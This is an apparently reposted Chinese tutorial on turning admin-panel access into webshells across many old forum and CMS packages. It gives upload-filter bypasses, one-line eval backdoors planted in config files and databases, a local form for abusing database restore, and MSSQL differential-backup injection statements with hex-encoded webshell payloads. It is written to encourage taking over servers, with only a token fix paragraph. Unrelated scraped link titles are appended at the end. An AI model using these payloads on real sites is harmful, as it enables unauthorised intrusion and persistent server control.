http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传

webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa asP类型,

ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.

aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得

webshell方法是:在上传类型中增加asp

,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有

leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\网站incIncHtmBoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell

利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON

Counter统计程序等等,还有很多php程序都可以,COCOON

Counter统计程序举例,在管理邮箱处添上cnhacker@263.net":eval request(chr (35))//,

在配制文件中就是webmail="cnhacker@263.net":eval

request(chr(35))//",还有一种方法就是写上 cnhacker@263.net"%><%eval

request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval

request(chr(35))%>可以用lake2的eval发送端以及最新的2006

客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%

execute

request("l")%><%',保存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得webshell

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改

gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval

request (chr(35))%>,

提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统

这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:

<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore

method="post">

<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>

<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>

<p><input type="submit" value="提交"></p> </form>

另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个

webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。

差异备份的主要代码:

;declare @a sysname,@s varchar(4000) select

@a=db_name(),@s=0x626273 backup database @a to disk=@s--

;Drop table [heige];create table [dbo].[heige] ([cmd]

[image])--

;insert into heige(cmd)

values(0x3C2565786563757465207265717565737428226C2229253E)--

;declare @a sysname,@s varchar(4000) select

@a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to

disk=@s WITH DIFFERENTIAL,FORMAT--

这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak;

0x3C2565786563757465207265717565737428226C2229253E是<%execute

request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:web1.asp的十六进制,

也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。

八、php+mysql系统

后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO

OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用

SELECT ... INTO OUTFILE语句导出shell。

就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号

就会在up目录下生成文件名为saiy.php内容为的最小php木马,

最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码

将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式

方式1 模板法

进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。 写到这都累了 有不懂加QQ

260260509

方始2 脏话过滤法

方式3 用户等级管理

以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell

解决方案

由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。

后记

其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。

各位加油吧,让我们将服务器控制到底!

mysql root拿站_[转载]拿站,专业拿站,拿站工具,手工注入,手工入侵,拿站教程,拿站知识,拿站原理...相关推荐

  1. MySQL根被拒绝_[转载]phpMyAdmin 尝试连接到 MySQL 服务器,但服务器拒绝连接。...

    今天要使用testlink这个软件进行测试的记录,在配置testlink 连接到数据库过程中总是有点问题,索性通过phpMyAdmin修改了MySql 的密码.修改后,再次在phpMyAdmin访问M ...

  2. mysql root远程访问权限_解决Navicat连接MySQL数据库报错问题

    今天在用Navicat连接一台虚拟机上的MySQL时报错: Host is not allowed to connect to this MySQL server 虚拟机中的MySQL是通过PHPSt ...

  3. mysql 多租户设计_[转载]数据层的多租户浅谈(SAAS多租户数据库设计)

    原文:http://www.ibm.com/developerworks/cn/java/j-lo-dataMultitenant/index.html 在上一篇"浅析多租户在 Java 平 ...

  4. mysql数据库uuid函数_[转载]MySQL UUID() 函数

    目录 文/温国兵 一 引子 在 MySQL 中,可以有如下几种途径实现唯一值: 自增序列 UUID() 函数 程序自定义 UUID 基于 16 进制,由 32 位小写的 16 进制数字组成,如下: a ...

  5. mysql like反义_[转载]关于小RNA高通量测序数据分析方法的研究

    1 引言 小RNA(small RNAs)主要指长度在18-30nt的一类非编码RNA(ncRNAs),在真核生物中,具有基因表达调控功能的小RNA主要有微小RNA(microRNAs,miRNAs) ...

  6. mysql+挂马代码_转载:挂马代码大全

    挂马代码大全 一:框架挂马 二:js文件挂马 首先将以下代码 document.write(""); 保存为xxx.js, 则JS挂马代码为 三:js变形加密 muma.txt可改 ...

  7. 关于mysql的英文期刊_[转载]口腔英文杂志、收录数据库、参考信息汇总

    1.The British Dental Journal 数据库:nature http://www.nature.com/bdj/ 2.American Dental Association New ...

  8. mysql答辩会问什么_计算机科学与技术专业,毕设答辩会问什么问题?

    关于计算机答辩问题 首先把你的论文顺一遍 用到的所有概念都了解(例如用的MVC设计模式.SSM框架)都要知道概念和优缺点 画的图的作用,怎么来表示的 你在论文中展示的功能如何实现的 测试的方法等 基本 ...

  9. 软件工程_东师站_第六周作业

    1. PSP Date Type Job Start Int(min) End Total(min) 20160407 编码 抢答器重构 19:00 30 20:50 80   站立会议 " ...

  10. java_B站_面试题

    Java面向对象有哪些特征,如何应用 ​ 面向对象编程是利用类和对象编程的一种思想.万物可归类,类是对于世界事物的高度抽象 ,不同的事物之间有不同的关系 ,一个类自身与外界的封装关系,一个父类和子类的 ...

最新文章

  1. 【转】创建SVN仓库的步骤
  2. 启动一个线程是用run()还是start()?
  3. 常用时间序列分析方法
  4. leetcode —— 面试题68 - II. 二叉树的最近公共祖先
  5. unknow ’query_cache_size’报错的解决方法吗
  6. 标准C语言只有,只有Visual C++集成开发环境,可以编译标准C语言程序。
  7. android代码跳过锁屏,Android_android禁止锁屏保持常亮(示例代码),在播放video的时候在mediaplayer m - phpStudy...
  8. Nodejs学习笔记02【module】
  9. 用js代码判断质数_在 JS 中判断,并不是都要用 ===
  10. 怎么判断二阶导数是否异号_「高等数学」给出函数的二阶导函数图形,求该曲线图形拐点的个数...
  11. 二维dtw算法matlab实现,下载的用MATLAB实现的DTW算法,不会用,跪求大神帮忙
  12. Visual Studio 安装 FLTK
  13. HBuilder打包
  14. WindowsServer2003 2008R2架设ASP网站实战
  15. No thread-bound request found: Are you referring to request attributes outside of an actual web
  16. 相亲APP开发功能及解决方案
  17. Zigbee,esp8266(wifi),蓝牙协议三种通信方式
  18. java反序列化漏洞-基础
  19. ICC II 3 从create_ndm开始design setup
  20. 2021.8.27夏令营阶段测试总结

热门文章

  1. pythonnumpy官网_NumPy下载-NumPy(Python开发工具)下载 v1.19.4官方版--pc6下载站
  2. 思科asa5515端口映射_思科防火墙端口映射配置方法
  3. 《3D游戏与计算机图形学中的数学方法》读书笔记--四元数
  4. linux卸载intel驱动程序,Linux的英特尔图形驱动程序调试工具删除Android支持
  5. alpha shapes提取平面点云边界点
  6. 【实习周报】2019年4月 前端开发实习工作周报汇总
  7. 【Python技能树共建】验证码实操2案例
  8. 图像处理之直方图匹配
  9. matlab中如何画直方图,用电脑怎么画直方图,如何用matlab画直方图已知频数和组距matl...
  10. 经典日内策略分析(收藏版)Dual Thrust、ATR、R-Breaker、菲阿里四价